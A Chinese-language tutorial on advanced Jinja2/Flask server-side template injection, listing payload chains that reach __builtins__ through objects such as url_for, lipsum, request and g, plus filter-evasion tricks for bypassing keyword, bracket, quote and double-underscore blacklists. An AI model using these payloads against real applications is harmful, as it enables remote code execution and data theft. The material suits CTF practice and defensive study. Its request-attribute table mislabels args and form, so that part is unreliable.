ssti进阶
前置知识
jinja2中获取类的属性
1 | ''.__class__ |
Jinja2对模板做了特殊处理,所以通过Obj['attr']
也可以访问对象的方法和属性,而在python代码中,这样是不合法的。
1 | request['args']['name'] # 获取get方式传入得到name参数 |
使用request对象
request对象的属性
属性和方法 | 说明 |
---|---|
args | MultiDict,从POST和PUT请求解析的 |
form | MultiDict,URL 中提交的参数 |
values | CombinedMultiDict,内容是form 和args 。可以使用values替代form和args |
cookies | 请求的cookies,类型是dict |
headers | 请求头 |
files | MultiDict,带有通过POST或PUT请求上传的文件 |
method | 请求方法,比如POST、GET |
json | 如果mimetype 是application/json ,这个参数将会解析JSON数据,如果不是则返回None |
remote_addr | 请求者的ip |
host | 请求头中的host字段 |
user_agengt | 请求头中的user-agent字段 |
accept_charsets | 请求头中的accept_charset字段 |
accept_encodings | 请求头中的accept_encoding字段 |
accept_languages | 请求头中的accept_language字段 |
jinja2全局函数
函数 | 说明 |
---|---|
range | |
dict | 生成字典{'foo' : 'bar'} 与 dict(foo=bar) 等价 |
jinja2过滤器
过滤器 | 说明 |
---|---|
attr(name) | 返回对象的属性 `foo |
first | 返回序列的第一项 |
last | 返回序列的最后一项 |
join() | 将序列合并后返回 |
replace(old,new) | 返回字符串替换后的结果 |
reverse | 反转序列 |
select | 返回一个select_or_regect对象 |
sort | 对列表进行排序 默认为升序 |
list | 将值转换成列表类型 |
string | 将值转换成字符串类型 |
urlencode | url编码 |
利用flask内置变量和函数
config
1 | config # 获取所有配置信息 |
request
1 | request.__init__.__globals__.__builtins__ # 利用request获取__builtins__ |
url_for
1 | url_for.__globals__.__builtins__ # 利用url_for获取__builtins__ |
get_flashed_messages
1 | get_flashed_messages.__globals__.__builtins__ # 利用get_flashed_messages获取__builtins__ |
session
1 | session.on_update.__globals__.__builtins__ # 利用session获取__builtins__ |
undefined type
1 | a.__init__.__globals__.__builtins__ # 利用undefined type获取__builtins__ |
g
flask中有一个g
对象,用来存储用户信息。
1 | g.__class__.pop.__globals__.__builtins__ # 利用g对象获取__builtins__ |
namespace
1 | namespace.__init__.__globals__.__builtins__ |
lipsum
1 | lipsum.__globals__.__builtins__ |
cycler
1 | cycler.__init__.__globals__.__builtins__ |
joiner
1 | joiner.__init__.__globals__.__builtins__ |
self
1 | self.__init__.__globals__.__builtins__ # 使用self获取__builtins__ |
绕过过滤
关键字/特殊字符 黑名单绕过
~号运算符拼接字符串
1 | {{'fl'~'ag'}} |
特殊属性 + list,string
过滤器 + pop
方法获取特殊字符
1 | {{a.__doc__}} # Hello, The default undefined type. This undefined type can ... |
利用过滤器
join过滤器
1 | {{['fl','ag']|join()}} |
replace过滤器
1 | {{'flxxag'|replace('x','')}} |
reverse过滤器
1 | {{'galf'|reverse}} |
format过滤器
1 | {{'%s%s'|format('fl','ag')}} |
组合使用:{{dict(g=1,a=2,l=3,f=4)|join()|reverse}}
使用%c
%()语法得到任意字符
python中的%格式化字符串中的%c
可将ASCII 码值转换成单个字符
1 | '%c'%(95) ==> _ |
过滤[]
使用pop()代替
1 | [1,2,3].pop(0) |
使用类方法__getitem__
代替
1 | [1,2,3].__getitem__(0) |
过滤单引号
利用chr
先要找到chr函数,之后利用chr构造字符
1 | {%set chr=url_for.__globals__.__builtins__.chr%} |
借助request对象
1 | {{request.args.a}} |
借助一切可以获得字符的手段
1 | {{().__doc__}} ==> Built-in immutable sequence. .... |
过滤双下划线__
下标式获取属性 + request对象
1 | {{''[request.args.class]}} get传入class=__class__ ==> <class 'str'> |
下标式获取属性 + 花式获取下划线
1 | {%set a = g|string|urlencode|list|first%}{%set c = dict(c=1)|join%} |